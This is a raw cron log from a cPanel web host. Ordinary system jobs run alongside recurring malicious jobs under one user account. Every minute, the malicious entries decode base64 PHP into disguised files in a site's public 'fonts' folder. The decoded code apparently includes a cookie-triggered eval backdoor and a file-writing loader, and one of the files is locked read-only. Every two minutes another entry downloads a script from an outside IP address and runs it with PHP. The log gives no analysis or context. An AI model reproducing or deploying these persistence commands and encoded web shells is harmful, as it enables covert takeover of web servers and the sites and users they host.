Sep 10 06:34:01 ip-184-168-122-23 CROND[18702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:34:01 ip-184-168-122-23 CROND[18707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:34:01 ip-184-168-122-23 CROND[18708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:34:01 ip-184-168-122-23 CROND[18709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:34:01 ip-184-168-122-23 CROND[18706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:35:01 ip-184-168-122-23 CROND[18826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:35:01 ip-184-168-122-23 CROND[18828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:35:01 ip-184-168-122-23 CROND[18829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:35:01 ip-184-168-122-23 CROND[18830]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 06:35:01 ip-184-168-122-23 CROND[18831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:35:01 ip-184-168-122-23 CROND[18834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:35:01 ip-184-168-122-23 CROND[18835]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 06:35:01 ip-184-168-122-23 CROND[18832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:36:01 ip-184-168-122-23 CROND[18971]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:36:01 ip-184-168-122-23 CROND[18973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:36:01 ip-184-168-122-23 CROND[18976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:36:01 ip-184-168-122-23 CROND[18977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:36:01 ip-184-168-122-23 CROND[18975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:37:01 ip-184-168-122-23 CROND[19066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:37:02 ip-184-168-122-23 CROND[19068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:37:02 ip-184-168-122-23 CROND[19069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:37:02 ip-184-168-122-23 CROND[19070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:38:01 ip-184-168-122-23 CROND[19175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:38:01 ip-184-168-122-23 CROND[19181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:38:01 ip-184-168-122-23 CROND[19182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:38:01 ip-184-168-122-23 CROND[19183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:38:01 ip-184-168-122-23 CROND[19184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:39:01 ip-184-168-122-23 CROND[19397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:39:01 ip-184-168-122-23 CROND[19399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:39:01 ip-184-168-122-23 CROND[19400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:39:01 ip-184-168-122-23 CROND[19403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:39:01 ip-184-168-122-23 CROND[19404]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 06:40:01 ip-184-168-122-23 CROND[19536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:40:01 ip-184-168-122-23 CROND[19538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:40:01 ip-184-168-122-23 CROND[19537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:40:01 ip-184-168-122-23 CROND[19539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:40:01 ip-184-168-122-23 CROND[19544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:40:01 ip-184-168-122-23 CROND[19545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:40:01 ip-184-168-122-23 CROND[19546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:40:01 ip-184-168-122-23 CROND[19547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:41:01 ip-184-168-122-23 CROND[19686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:41:01 ip-184-168-122-23 CROND[19688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:41:01 ip-184-168-122-23 CROND[19690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:41:01 ip-184-168-122-23 CROND[19689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:42:01 ip-184-168-122-23 CROND[19788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:42:01 ip-184-168-122-23 CROND[19791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:42:01 ip-184-168-122-23 CROND[19793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:42:01 ip-184-168-122-23 CROND[19790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:42:01 ip-184-168-122-23 CROND[19792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:43:01 ip-184-168-122-23 CROND[19889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:43:01 ip-184-168-122-23 CROND[19887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:43:01 ip-184-168-122-23 CROND[19890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:43:01 ip-184-168-122-23 CROND[19888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:44:01 ip-184-168-122-23 CROND[20188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:44:01 ip-184-168-122-23 CROND[20190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:44:01 ip-184-168-122-23 CROND[20191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:44:01 ip-184-168-122-23 CROND[20192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:44:01 ip-184-168-122-23 CROND[20193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:45:01 ip-184-168-122-23 CROND[20293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:45:01 ip-184-168-122-23 CROND[20296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:45:01 ip-184-168-122-23 CROND[20295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:45:01 ip-184-168-122-23 CROND[20298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:45:01 ip-184-168-122-23 CROND[20300]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:45:01 ip-184-168-122-23 CROND[20301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
